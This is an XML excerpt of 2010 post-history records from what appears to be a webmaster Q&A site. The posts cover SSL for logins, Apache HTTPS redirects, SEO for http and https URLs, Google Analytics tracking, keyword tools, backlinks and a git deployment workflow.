  <row Id="6147" PostHistoryTypeId="2" PostId="3140" RevisionGUID="c99b17c3-3fb2-4c58-9620-27d29285f468" CreationDate="2010-09-20T06:59:14.427" UserId="2009" Text="I'll assume you already have an SSL certificate, and have Apache (or $HTTPD) configured properly to work with SSL requests. If this is a bad assumption, let me know.&#xD;&#xA;&#xD;&#xA;Otherwise, the quickest way to wrangle WordPress into forcing SSL for logins/admin pages would be the [Admin SSL WP Plugin](http://wordpress.org/extend/plugins/admin-ssl-secure-admin/). Install it, activate it, et voilá." />
  <row Id="6148" PostHistoryTypeId="5" PostId="702" RevisionGUID="0b92054a-6357-425a-856f-3685444537c4" CreationDate="2010-09-20T11:40:25.907" UserId="231" Comment="added 131 characters in body" Text="One of them is Shaun Inman's [Mint][1].&#xD;&#xA;&#xD;&#xA;Then:&#xD;&#xA;&#xD;&#xA; 1. [VisiStat][2]&#xD;&#xA; 2. [SiteCatalyst][3]&#xD;&#xA; 3. [Webtrends][4]&#xD;&#xA; 4. [AWStats][5]&#xD;&#xA; 5. [ClickTraks][6]&#xD;&#xA; 6. [Coradiant][7]&#xD;&#xA; 7. [Unica][8]&#xD;&#xA; 8. [pMetrics][9]&#xD;&#xA; 9. [Clicky][10]&#xD;&#xA; 10. [iWebTrack][11]&#xD;&#xA; 11. [OneStat][12]&#xD;&#xA; 12. [MetaTraffic][13]&#xD;&#xA; 13. [Metronome][14]&#xD;&#xA; 14. [Clicktale][15]&#xD;&#xA;&lt;br /&gt;Added:&#xD;&#xA; 15. [Reinvigorate][16]&#xD;&#xA; 16. [Observer][17]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://haveamint.com/&#xD;&#xA;  [2]: http://www.visistat.com/&#xD;&#xA;  [3]: http://www.omniture.com/en/products/online_analytics/sitecatalyst&#xD;&#xA;  [4]: http://www.webtrends.com/Products/Analytics&#xD;&#xA;  [5]: http://awstats.sourceforge.net/&#xD;&#xA;  [6]: http://www.lyris.com/solutions/lyris-hq/web-analytics/&#xD;&#xA;  [7]: http://www.coradiant.com/products/analytics_in_a_box.htm&#xD;&#xA;  [8]: http://www.unica.com/products/enterprise-web-analytics.htm&#xD;&#xA;  [9]: http://pmetrics.performancing.com/&#xD;&#xA;  [10]: http://www.getclicky.com/&#xD;&#xA;  [11]: http://www.iwebtrack.com/reports.asp&#xD;&#xA;  [12]: http://www.onestat.com/html/services.html&#xD;&#xA;  [13]: http://www.metasun.com/products/metatraffic/features.asp&#xD;&#xA;  [14]: http://www.metronomelabs.com/&#xD;&#xA;  [15]: http://www.clicktale.com/&#xD;&#xA;  [16]: http://www.reinvigorate.net/&#xD;&#xA;  [17]: http://observerapp.com/" />
  <row Id="6149" PostHistoryTypeId="2" PostId="3141" RevisionGUID="5e4b99af-165e-4abe-80a9-5086f2d1a87e" CreationDate="2010-09-20T12:53:00.500" UserId="871" Text="If you are developing a html document strictly using current best practice of keeping styling out of the markup how do you best communicate image sizing?&#xD;&#xA;&#xD;&#xA;Past best practice wants image height and width with the image in that it will render faster than the browser waiting for the image to download to get it's dimensions. But doing this seems to contravene isolating style out of the document. &#xD;&#xA;&#xD;&#xA;Add an id attribute to each image and put the height/width in the css? Does this negate the rendering bonus of inline image height and width?" />
  <row Id="6150" PostHistoryTypeId="1" PostId="3141" RevisionGUID="5e4b99af-165e-4abe-80a9-5086f2d1a87e" CreationDate="2010-09-20T12:53:00.500" UserId="871" Text="Communicating image size, best practice" />
  <row Id="6151" PostHistoryTypeId="3" PostId="3141" RevisionGUID="5e4b99af-165e-4abe-80a9-5086f2d1a87e" CreationDate="2010-09-20T12:53:00.500" UserId="871" Text="&lt;css&gt;&lt;html&gt;&lt;images&gt;" />
  <row Id="6152" PostHistoryTypeId="2" PostId="3142" RevisionGUID="377b25e4-25ae-46d0-ae73-4a705d3e8860" CreationDate="2010-09-20T13:15:15.873" UserId="1253" Text="Having the width and height in the IMG element is not deprecated and is definitely the best way to tell the browser the width and height of an image. Going out of your way to do it another way is redundant and unnecessary (and possibly silly). Don't make any unnecessary work for yourself or the browser. Stick to the basics which work." />
  <row Id="6153" PostHistoryTypeId="2" PostId="3143" RevisionGUID="f63f4273-6ace-40e3-9f32-52ef1a92228c" CreationDate="2010-09-20T13:18:21.630" UserId="1253" Text="A generic non-application way to force an entire directory and its subdirectories to use SSL can be acheived with Apache:&#xD;&#xA;&#xD;&#xA;    Options +FollowSymlinks&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTPS} off&#xD;&#xA;    RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}&#xD;&#xA;&#xD;&#xA;Simply put that in a the .htaccess file of the directory you wish to secure. If you put it in your root directory it will force your whole site to be secure." />
  <row Id="6154" PostHistoryTypeId="2" PostId="3144" RevisionGUID="eae86e9f-9a37-42c3-beec-2fdf641ca871" CreationDate="2010-09-20T15:32:26.097" UserId="233" Text="John Conde's answer is spot-on. Images have a width and height - it's part of their *content*, not their *style*. So there is no need to do a &quot;separation&quot; here.&#xD;&#xA;&#xD;&#xA;However, one exception: CSS for image dimensions *is* useful if you have many images all the same size (e.g. thumbnails). Here it's much better to use a CSS class to cut down HTML and quicken development.&#xD;&#xA;&#xD;&#xA;For a website's design including buttons and icons, your best solution there is CSS sprites." />
  <row Id="6155" PostHistoryTypeId="2" PostId="3145" RevisionGUID="ba59936d-b92a-4641-b73d-d5fdaadf928a" CreationDate="2010-09-20T15:47:04.820" UserId="745" Text="Consider a page, http://example.com, which can be viewed both publicly and when a user authenticates. Now suppose you enable https for every page when a user logs into your website, but only when they are logged in. Your page, http://example.com now becomes https://example.com for all logged in users. If that logged in user likes your page and decides to link to it through a blog post or a social media website, there is a good chance that they will use the https version of the URL.&#xD;&#xA;&#xD;&#xA;From an SEO perspective, what's your strategy for avoiding duplicate content issues between the two URLs?&#xD;&#xA;&#xD;&#xA;What should happen if a user arrives at the https URL but has not logged in or does not have an account? Should there be a redirect to the http version? If so, how would you handle it?&#xD;&#xA;&#xD;&#xA;My instinct is that for all pages that can be viewed both publicly and while logged in, the page should first detect if the user is logged in. If logged in, it remains https or uses a 302 redirect from the http version to https. If the user is not logged in and they arrive to the https version of the URL, it uses a 301 redirect to the http version. However, I would welcome a more elegant or effective solution." />
  <row Id="6156" PostHistoryTypeId="1" PostId="3145" RevisionGUID="ba59936d-b92a-4641-b73d-d5fdaadf928a" CreationDate="2010-09-20T15:47:04.820" UserId="745" Text="SEO strategy for https" />
  <row Id="6157" PostHistoryTypeId="3" PostId="3145" RevisionGUID="ba59936d-b92a-4641-b73d-d5fdaadf928a" CreationDate="2010-09-20T15:47:04.820" UserId="745" Text="&lt;seo&gt;&lt;ssl&gt;&lt;http&gt;&lt;best-practices&gt;&lt;duplicate-content&gt;" />
  <row Id="6158" PostHistoryTypeId="2" PostId="3146" RevisionGUID="6aaa1225-bb87-424f-b328-89eb33428c81" CreationDate="2010-09-20T16:09:11.197" UserId="1160" Text="There is no SEO strategy for SSL pages. Part of the definition of caching is this:&#xD;&#xA;&#xD;&#xA;`If the request is authenticated or secure (i.e., HTTPS), it won’t be cached.`&#xD;&#xA;&#xD;&#xA;see: [caching tutorial][1]&#xD;&#xA;&#xD;&#xA;So, in order to prevent overlap with non-SSL pages where this may hurt ranking, is to have your SSL-sensitive pages on completely different URLs.&#xD;&#xA;&#xD;&#xA;Ironically, I have seen search engines actually store and keep links with the HTTPS url in them. This is contrary to what normally should happen, but does in cases where the page is a login area, is the home page, or otherwise has cache pragma re-written to allow caching. I would say avoid this if possible, as your page will drop in PageRank usually. &#xD;&#xA;&#xD;&#xA;  [1]: http://www.mnot.net/cache_docs/" />
  <row Id="6159" PostHistoryTypeId="2" PostId="3147" RevisionGUID="6e2cc7f6-09ba-4a54-8cdd-037690285d22" CreationDate="2010-09-20T18:48:37.833" UserId="1979" Text="You may want to look into `&lt;link rel=&quot;canonical&quot; /&gt;`. See http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html. Down in the comments someone from Google says that it can be used for http/https issues. &#xD;&#xA;&#xD;&#xA;However, this assumes that logged in and non-logged in users are seeing more or less the same thing on the pages in question.&#xD;&#xA;&#xD;&#xA;The other caveat: I'm not sure if and to what extent `&lt;link rel=&quot;canonical&quot; /&gt;` is supported by search engines other than Google, Yahoo and Bing. If other engines are important to your site you should check their FAQs.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6160" PostHistoryTypeId="2" PostId="3148" RevisionGUID="73f58e7a-9b19-4a28-aaff-e72349e82a94" CreationDate="2010-09-20T18:54:31.170" UserId="1454" Text="I've been pretty paranoid about learning to &quot;do security right&quot; for this site I'm building (first non-trivial site I've made), and I've noticed something that bothers me: SSL.&#xD;&#xA;&#xD;&#xA;I've read plenty of security threads here, on StackOverflow, and elsewhere that goes on at length about regenerating session ids after n uses, and how your passwords need to be salted, hashed, and never stored in plain text. I've read plenty about how to detect when a session has been hijacked, by tracking IP addresses, user agents, and by using tracking cookies.&#xD;&#xA;&#xD;&#xA;What I don't understand is what any of this matters when the website logs you in via a normal HTTP POST and sends your password over the wire in plain text? Even Facebook does this, as far as I can tell.&#xD;&#xA;&#xD;&#xA;I understand that all the other methods I listed are needed to reduce your overall exposure, and maybe there are some sites that just don't need that much security anyway, but I guess what I'm asking is:&#xD;&#xA;&#xD;&#xA;* **When is it ok to not bother with SSL?**&#xD;&#xA;&#xD;&#xA;Sites like Gmail, your bank, and LinkedIn, I can see having a reason to use SSL, but what makes it ok that sites like Facebook and reddit don't bother (hell, PlentyOfFish even stores your password in plain text and even emails it to you weekly as a reminder!?!)?&#xD;&#xA;&#xD;&#xA;How concerned should I be with making sure SSL is setup (especially since I'd be starting with a shared host, and I'm being pretty cheap to start)? My site won't hold any particularly personal information, if that helps. If the site becomes a success, I'd seriously look at paying the extra for the added security." />
  <row Id="6161" PostHistoryTypeId="1" PostId="3148" RevisionGUID="73f58e7a-9b19-4a28-aaff-e72349e82a94" CreationDate="2010-09-20T18:54:31.170" UserId="1454" Text="Does SSL really matter for most websites?" />
  <row Id="6162" PostHistoryTypeId="3" PostId="3148" RevisionGUID="73f58e7a-9b19-4a28-aaff-e72349e82a94" CreationDate="2010-09-20T18:54:31.170" UserId="1454" Text="&lt;ssl&gt;&lt;security&gt;&lt;login&gt;" />
  <row Id="6163" PostHistoryTypeId="5" PostId="3147" RevisionGUID="352bb57b-6fd6-4eed-b3b4-6f9a233729ec" CreationDate="2010-09-20T19:03:50.500" UserId="1979" Comment="deleted 139 characters in body" Text="You may want to look into `&lt;link rel=&quot;canonical&quot; /&gt;`. See http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html. Down in the comments someone from Google says that it can be used for http/https issues. &#xD;&#xA;&#xD;&#xA;Caveat: I'm not sure if and to what extent `&lt;link rel=&quot;canonical&quot; /&gt;` is supported by search engines other than Google, Yahoo and Bing. If other engines are important to your site you should check their FAQs.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6164" PostHistoryTypeId="2" PostId="3149" RevisionGUID="9d4e429d-fbc4-4bfc-8f4c-b3b67f4b5f02" CreationDate="2010-09-20T19:07:08.223" UserId="1253" Text="It matters as much as you and your users thinks it matters. Sending passwords over http as plain text does leave them vulnerable to packet sniffing. Now whether someone is going to actually bother sniffing those packets is a whole other story. If you want to ensure your users the most secure experience possible, use SSL for their login submissions. If you think your users will be happier and more likely to interact with your website in a positive way (i.e. buy stuff, do stuff, etc) then use SSL for their login submissions. If you have anything worth stealing (i.e. user information) then use SSL. &#xD;&#xA;&#xD;&#xA;If you don't have anything worth stealing, don't think SSL will enhance security much or at all, or your users won't see it as a useful feature then you may want to consider not using SSL.&#xD;&#xA;&#xD;&#xA;For what it costs to install an SSL cert, unless you are on a shoestring budget, it's never a bad thing to secure a site's login. And don't let what other sites are doing influence you as many larger sites don't necessary follow best practices which is why there's is seemingly a steady stream of news stories about one being compromised in some way." />
  <row Id="6165" PostHistoryTypeId="2" PostId="3150" RevisionGUID="abe8755c-a00a-4610-b945-7763786ee95d" CreationDate="2010-09-20T19:20:23.400" UserId="2011" Text="The definition of &quot;a good hosting service&quot; depends on your needs. An international company with a business critical web app requires different hosting than your kids' soccer club.&#xD;&#xA;&#xD;&#xA;I have a shared hosting plan at [Deziweb][1]. Drupal runs fine on it, their prices are good and so is their customer service.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.deziweb.com" />
  <row Id="6166" PostHistoryTypeId="16" PostId="3150" RevisionGUID="abe8755c-a00a-4610-b945-7763786ee95d" CreationDate="2010-09-20T19:20:23.400" UserId="-1" />
  <row Id="6167" PostHistoryTypeId="2" PostId="3151" RevisionGUID="a512fedf-6366-4e9e-98da-4ac4dfa69dcd" CreationDate="2010-09-20T19:44:15.177" UserId="108" Text="I have a number of PDFs on my website that I want to track when people click on them.  To do that I added this code to each `&lt;a&gt;` tag referencing the PDFs,  &#xD;&#xA;&#xD;&#xA;    onclick=&quot;pageTracker._trackPageview('/download/nameOfPDF.pdf');&#xD;&#xA;&#xD;&#xA;I then made sure the page with these links had my Google Analytics code and that the code was above all of my links (I placed it at the bottom of the `&lt;head&gt;` section.  This exactly what I have (I replaced my URL and Account # though)&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;                var _gaq = _gaq || [];&#xD;&#xA;                _gaq.push(['_setAccount', 'UA-XXXXXXX-X']);&#xD;&#xA;                _gaq.push(['_setDomainName', '.YYYYYYYYYY.com']);&#xD;&#xA;                _gaq.push(['_trackPageview']);&#xD;&#xA;    &#xD;&#xA;                (function() {&#xD;&#xA;                    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&#xD;&#xA;                    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';&#xD;&#xA;                    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xD;&#xA;                })();&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;My issue is that 3 days later, I have 0 page views for the pdf documents in Top Content and the pages are not showing up at all.  Is this because I made a mistake with my code placement or is it an issue with where I am looking in Google Analytics?  &#xD;&#xA;&#xD;&#xA;I do know that I have had over 1000 page views on my site and the PDFs are rather popular so I am sure something isn't working properly." />
  <row Id="6168" PostHistoryTypeId="1" PostId="3151" RevisionGUID="a512fedf-6366-4e9e-98da-4ac4dfa69dcd" CreationDate="2010-09-20T19:44:15.177" UserId="108" Text="Finding results from _trackPageview in Google Analytics" />
  <row Id="6169" PostHistoryTypeId="3" PostId="3151" RevisionGUID="a512fedf-6366-4e9e-98da-4ac4dfa69dcd" CreationDate="2010-09-20T19:44:15.177" UserId="108" Text="&lt;google-analytics&gt;" />
  <row Id="6170" PostHistoryTypeId="2" PostId="3152" RevisionGUID="8786605a-48fa-464f-b0b2-2dfabac88788" CreationDate="2010-09-20T19:53:07.963" UserId="2011" Text="Every bank that offers iDeal, sells it together with a certain level of service. These packages can differ in price, support level, etc. Most cheaper packages do not provide direct feedback, so your web application cannot immediately 'know' if the payment succeeded or not.&#xD;&#xA;&#xD;&#xA;I'm not going to compare the different packages for you, because I'm sure you can do that yourself. Most banks have specs on their websites, like [this one][1] and [this one][2]. If I'm not mistaken, you always need a bank account with the bank whose iDeal service you choose, so for instance if you choose Rabobank iDEAL Professional, the money you receive will be put in a Rabobank account. You'll just have to see which bank has the best offer to match your needs and budget.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.abnamro.nl/nl/zakelijk/betalingsverkeer/ideal/varianten.html&#xD;&#xA;  [2]: http://www.rabobank.nl/bedrijven/producten/betalen_en_ontvangen/geld_ontvangen/ideal/default" />
  <row Id="6171" PostHistoryTypeId="2" PostId="3153" RevisionGUID="ab594dd3-badc-4add-aab0-33a428cd0735" CreationDate="2010-09-20T20:12:32.900" UserId="1979" Text="Have a look at http://www.google.com/support/forum/p/Google%20Analytics/thread?tid=16314668d395d15d&amp;hl=en. The onclick handler code in the first answer is different from what you're using." />
  <row Id="6172" PostHistoryTypeId="5" PostId="3153" RevisionGUID="bcc0822d-f857-41b7-9387-e233277d8cfe" CreationDate="2010-09-20T20:34:23.913" UserId="1979" Comment="added 83 characters in body" Text="Have a look at http://www.google.com/support/forum/p/Google%20Analytics/thread?tid=16314668d395d15d&amp;hl=en and http://code.google.com/apis/analytics/docs/tracking/asyncUsageGuide.html&#xD;&#xA;&#xD;&#xA;Looks like you are using asynchronous tracking but the old way to call _trackPageview" />
  <row Id="6173" PostHistoryTypeId="2" PostId="3154" RevisionGUID="1ff9cef4-6322-4111-933c-79ec37d7feec" CreationDate="2010-09-20T20:37:55.153" UserId="1064" Text="Taking the opposite approach to John's answer, I think you should seriously consider SSL if you handle *any* personally-identifiable information - to include: names with physical addresses, e-mail addresses, financial information, and communications which users would reasonably expect to be private.&#xD;&#xA;&#xD;&#xA;Unless your site provides a means for users to publish information about themselves, you should consider any personally-identifiable information provided by your users to be held by you and you only under strict confidence unless your site's privacy policy informs your users otherwise.&#xD;&#xA;&#xD;&#xA;Prevent unauthorized third parties from seeing your visitors' information and keep your users informed of how you use their information to maintain your visitors' trust.&#xD;&#xA;&#xD;&#xA;&gt; Even Facebook does this, as far as I&#xD;&#xA;&gt; can tell.&#xD;&#xA;&#xD;&#xA;    &lt;form method=&quot;POST&quot; action=&quot;https://login.facebook.com/login.php?login_attempt=1&quot; id=&quot;login_form&quot; onsubmit=&quot;;var d=document.documentElement;if (d.onsubmit) { return d.onsubmit(event); }else { return Event.fire(d, &amp;quot;submit&amp;quot;, event); }&quot;&gt;&#xD;&#xA;&#xD;&#xA;(Facebook.com login HTML source)" />
  <row Id="6174" PostHistoryTypeId="5" PostId="3148" RevisionGUID="50cd7540-dbf8-454f-8fd1-5dc17b52b596" CreationDate="2010-09-20T21:00:20.353" UserId="1454" Comment="i messed up about facebook" Text="I've been pretty paranoid about learning to &quot;do security right&quot; for this site I'm building (first non-trivial site I've made), and I've noticed something that bothers me: SSL.&#xD;&#xA;&#xD;&#xA;I've read plenty of security threads here, on StackOverflow, and elsewhere that goes on at length about regenerating session ids after n uses, and how your passwords need to be salted, hashed, and never stored in plain text. I've read plenty about how to detect when a session has been hijacked, by tracking IP addresses, user agents, and by using tracking cookies.&#xD;&#xA;&#xD;&#xA;What I don't understand is what any of this matters when the website logs you in via a normal HTTP POST and sends your password over the wire in plain text? &#xD;&#xA;&#xD;&#xA;I understand that all the other methods I listed are needed to reduce your overall exposure, and maybe there are some sites that just don't need that much security anyway, but I guess what I'm asking is:&#xD;&#xA;&#xD;&#xA;* **When is it ok to not bother with SSL?**&#xD;&#xA;&#xD;&#xA;Sites like Gmail, your bank, and LinkedIn, I can see having a reason to use SSL, but what makes it ok that sites like Facebook and reddit don't bother (hell, PlentyOfFish even stores your password in plain text and even emails it to you weekly as a reminder!?!)?&#xD;&#xA;&#xD;&#xA;How concerned should I be with making sure SSL is setup (especially since I'd be starting with a shared host, and I'm being pretty cheap to start)? My site won't hold any particularly personal information, if that helps. If the site becomes a success, I'd seriously look at paying the extra for the added security." />
  <row Id="6175" PostHistoryTypeId="2" PostId="3155" RevisionGUID="196454b7-e86b-4849-95e2-4b251017172a" CreationDate="2010-09-20T21:20:35.157" UserId="2019" Text="Google offers a [Keyword application][1] that allows me to see the number of time a particular query has been made in Google.&#xD;&#xA;&#xD;&#xA;There is a column in the results named &quot;Competition&quot; (Actually its Concurrence in French, I'm just translating). Its a rating from 0 to 1, as in percentage. What indicator is that?&#xD;&#xA;&#xD;&#xA;  [1]: https://adwords.google.com/o/Targeting/Explorer?__u=1000000000&amp;__c=1000000000&amp;ideaRequestType=KEYWORD_IDEAS#search.none" />
  <row Id="6176" PostHistoryTypeId="1" PostId="3155" RevisionGUID="196454b7-e86b-4849-95e2-4b251017172a" CreationDate="2010-09-20T21:20:35.157" UserId="2019" Text="Google Keyword Competition rating" />
  <row Id="6177" PostHistoryTypeId="3" PostId="3155" RevisionGUID="196454b7-e86b-4849-95e2-4b251017172a" CreationDate="2010-09-20T21:20:35.157" UserId="2019" Text="&lt;google&gt;&lt;keywords&gt;" />
  <row Id="6178" PostHistoryTypeId="2" PostId="3156" RevisionGUID="e4619a6f-32f5-4a7d-be3b-44efd330adb8" CreationDate="2010-09-20T21:28:40.407" UserId="1979" Text="From the &quot;About this data&quot; link on the Keyword tool:&#xD;&#xA;&#xD;&#xA;&gt; Competition&#xD;&#xA;&gt; &#xD;&#xA;&gt; The image represents the number of&#xD;&#xA;&gt; advertisers bidding on each keyword&#xD;&#xA;&gt; relative to all keywords across&#xD;&#xA;&gt; Google." />
  <row Id="6182" PostHistoryTypeId="5" PostId="3155" RevisionGUID="d305b4e7-abd2-4915-8318-d55c25956c00" CreationDate="2010-09-20T22:05:57.007" UserId="2019" Comment="added 420 characters in body; added 41 characters in body" Text="Google offers a [Keyword application][1] that allows me to see the number of time a particular query has been made in Google.&#xD;&#xA;&#xD;&#xA;There is a column in the results named &quot;Competition&quot; (Actually its Concurrence in French, I'm just translating). Its a rating from 0 to 1, as in percentage. What indicator is that?&#xD;&#xA;&#xD;&#xA;EDIT * &#xD;&#xA;&#xD;&#xA;Is this something useful I should rely on? I'm not sure about how to interpret this data. Should I go for less competitive keywords with a lower number of searches or not worry about it and go for the highly searched keywords anyway? Is 50% considered high? what about 75% ?&#xD;&#xA;&#xD;&#xA;I have a very niche market that sell expensive offline services, so the very long tail is my goal (I assume). If you didn't already figured out, I'm very new to SEO =)&#xD;&#xA; &#xD;&#xA;  [1]: https://adwords.google.com/o/Targeting/Explorer?__u=1000000000&amp;__c=1000000000&amp;ideaRequestType=KEYWORD_IDEAS#search.none" />
  <row Id="6185" PostHistoryTypeId="2" PostId="3159" RevisionGUID="5600dced-e5ef-40f4-a8eb-4071dc8acf2e" CreationDate="2010-09-20T23:16:55.730" UserId="1064" Text="I find that the competition value is useful as a means for seeing how important other advertisers consider the term to be, however, it is not as important as *specificity* (how closely the term aligns with whatever you happen to be marketing) and *search volume* (how many people are searching on the term).&#xD;&#xA;&#xD;&#xA;Note that many, many PPC advertisers take the &quot;shotgun approach&quot; to advertising: they buy up all kinds of related terms and (perhaps to their surprise) the tendency is to artificially inflate the PPC value of terms which do not convert customers particularly well." />
  <row Id="6186" PostHistoryTypeId="2" PostId="3160" RevisionGUID="0a3976cf-1cfc-45ab-aa7f-de54eb18bfd4" CreationDate="2010-09-21T01:11:11.573" UserId="1787" Text="Is there a way of using something like as a search engine to find out which web sites out there link to mine?" />
  <row Id="6187" PostHistoryTypeId="1" PostId="3160" RevisionGUID="0a3976cf-1cfc-45ab-aa7f-de54eb18bfd4" CreationDate="2010-09-21T01:11:11.573" UserId="1787" Text="How do I find out what web sites link to mine?" />
  <row Id="6188" PostHistoryTypeId="3" PostId="3160" RevisionGUID="0a3976cf-1cfc-45ab-aa7f-de54eb18bfd4" CreationDate="2010-09-21T01:11:11.573" UserId="1787" Text="&lt;search-engines&gt;&lt;links&gt;" />
  <row Id="6189" PostHistoryTypeId="2" PostId="3161" RevisionGUID="a1ee889d-5d64-4799-ab3e-a07a2d114a9d" CreationDate="2010-09-21T01:15:34.623" UserId="219" Text="In google type: `link:yoursite.com`&#xD;&#xA;&#xD;&#xA;Also their w[ebmaster tools][1] will give you a better rundown.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/webmasters/tools/home?hl=en" />
  <row Id="6190" PostHistoryTypeId="2" PostId="3162" RevisionGUID="6ee39fc8-cd9f-49bf-86b2-9fc57fc2787a" CreationDate="2010-09-21T02:06:00.127" UserId="2022" Text="I'm looking to develop a website and all the work will be done remotely (no local dev server). The reason for this is that my shared hosting company a2hosting has a specific configuration (symfony,mysql,git) that I don't want to spend time duplicating when I can just ssh and develop remotely or through netbeans remote editing features.&#xD;&#xA;&#xD;&#xA;My question is how can I use git to separate my site into three areas: live, staging and dev.  &#xD;&#xA;&#xD;&#xA;Here's my **initial thought:**&#xD;&#xA;&#xD;&#xA;public_html (live site and git repo)  &#xD;&#xA;testing: a mirror of the site used for visual tests (full git repo)  &#xD;&#xA;dev/ticket# : git branches of public_html used for features and bug fixes (full git repo)  &#xD;&#xA;&#xD;&#xA;**Version Control with git:**&#xD;&#xA;&#xD;&#xA;**Initial setup:**  &#xD;&#xA;&#xD;&#xA;    cd public_html  &#xD;&#xA;    git init  &#xD;&#xA;    git add *  &#xD;&#xA;    git commit -m ‘initial commit of the site’  &#xD;&#xA;    cd ..  &#xD;&#xA;    git clone public_html testing  &#xD;&#xA;    mkdir dev&#xD;&#xA;   &#xD;&#xA;**Development:**&#xD;&#xA;&#xD;&#xA;    cd /dev&#xD;&#xA;    git clone ../testing ticket#&#xD;&#xA;    all work is done in ./dev/ticket#, &#xD;&#xA;    then visit www.domain.com/dev/ticket# to visually test&#xD;&#xA;    make granular commits as necessary until dev is done&#xD;&#xA;    git push origin master:ticket#  &#xD;&#xA;    if the above fails:&#xD;&#xA;        merge latest testing state into current dev work: git merge origin/master&#xD;&#xA;        then try the push again&#xD;&#xA;    mark ticket# as ready for integration&#xD;&#xA;&#xD;&#xA;**integration and deployment process:**  &#xD;&#xA;&#xD;&#xA;    cd ../../testing&#xD;&#xA;    git merge ticket#  -m &quot;integration test for ticket# --no-ff (check for conflicts )&#xD;&#xA;    run hudson tests&#xD;&#xA;&#xD;&#xA;    visit www.domain.com/testing for visual test  &#xD;&#xA;&#xD;&#xA;    if all tests pass:  &#xD;&#xA;        if this ticket marks the end of a big dev sprint:  &#xD;&#xA;            make a snapshot with git tag  &#xD;&#xA;            git push --tags origin  &#xD;&#xA;        else  &#xD;&#xA;            git push origin&#xD;&#xA;            cd ../public_html&#xD;&#xA;            git checkout -f  (live site should have the latest dev from ticket#)&#xD;&#xA;    else:&#xD;&#xA;        revert the merge: git checkout master~1; git commit -m &quot;reverting ticket#&quot;&#xD;&#xA;        update ticket# that testing failed with the failure details&#xD;&#xA;&#xD;&#xA;**Snapshots:**&#xD;&#xA;&#xD;&#xA;Each major deployment sprint should have a standard name and be tracked.&#xD;&#xA;Method: git tag&#xD;&#xA;Naming convention: TBD&#xD;&#xA;&#xD;&#xA;**Reverting site to previous state**&#xD;&#xA;&#xD;&#xA;if something goes wrong, then revert to previous snapshot&#xD;&#xA;and debug the issue in dev with a new ticket#. Once the bug is fixed, follow&#xD;&#xA;the deployment process again.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My questions:&#xD;&#xA;&#xD;&#xA;1-Does this workflow make sense, if not, any recommendations&#xD;&#xA;2-Is my approach for reverting correct or is there a better way to say 'revert to before x commit'&#xD;&#xA;&#xD;&#xA;Thanks for taking the time to read this VERY long post :)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6191" PostHistoryTypeId="1" PostId="3162" RevisionGUID="6ee39fc8-cd9f-49bf-86b2-9fc57fc2787a" CreationDate="2010-09-21T02:06:00.127" UserId="2022" Text="php remote development workflow: git, symfony &amp; hudson" />
  <row Id="6192" PostHistoryTypeId="3" PostId="3162" RevisionGUID="6ee39fc8-cd9f-49bf-86b2-9fc57fc2787a" CreationDate="2010-09-21T02:06:00.127" UserId="2022" Text="&lt;php&gt;" />
  <row Id="6193" PostHistoryTypeId="2" PostId="3163" RevisionGUID="45410bac-09c5-4116-a7d5-486705139d6c" CreationDate="2010-09-21T05:25:21.317" UserId="1064" Text="It's pay-for-play, but [SEOmoz][1] recently released their &quot;Open Site Explorer&quot; tool which analyzes backlinks, (amongst other things) as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seomoz.org/tools" />
  <row Id="6194" PostHistoryTypeId="2" PostId="3164" RevisionGUID="62528028-a9ba-46c7-a9e9-1a2554f16db0" CreationDate="2010-09-21T07:30:48.793" UserId="1218" Text="The second example is not showing anything because it's using frames, if you view the source, there is nothing for Google to take, use and display:&#xD;&#xA;&#xD;&#xA;    &lt;HTML&gt;&#xD;&#xA;    &lt;HEAD&gt;&#xD;&#xA;    &lt;TITLE&gt;Welcome... We'll take your orders online!&lt;/TITLE&gt;&#xD;&#xA;    &lt;/HEAD&gt;   &#xD;&#xA;    &lt;FRAMESET ROWS=&quot;94,*&quot; BORDER=&quot;0&quot; FRAMEBORDER=&quot;0&quot; FRAMESPACING=&quot;0&quot;&gt;&#xD;&#xA;      &lt;FRAME NAME=&quot;Header&quot; scrolling=&quot;NO&quot; SRC=&quot;Header.asp&quot;&gt;   &#xD;&#xA;      &lt;FRAMESET COLS=&quot;*&quot; BORDER=&quot;0&quot; FRAMEBORDER=&quot;0&quot; FRAMESPACING=&quot;0&quot;&gt;&#xD;&#xA;        &lt;frame name=&quot;Bottom&quot; scrolling=&quot;Yes&quot; src=&quot;Default.asp&quot;&gt;&#xD;&#xA;      &lt;/FRAMESET&gt;    &#xD;&#xA;    &lt;/FRAMESET&gt;&#xD;&#xA;    &lt;noframes&gt;Sorry this website contains frames.  Please upgrade your broswer to use our site.&#xD;&#xA;    &lt;/noframes&gt; &#xD;&#xA;    &lt;/HTML&gt;&#xD;&#xA;&#xD;&#xA;Adding a META Description will help, but ultimately getting rid of the frames will be the biggest help for a site like this, as search engines can struggle with frames." />
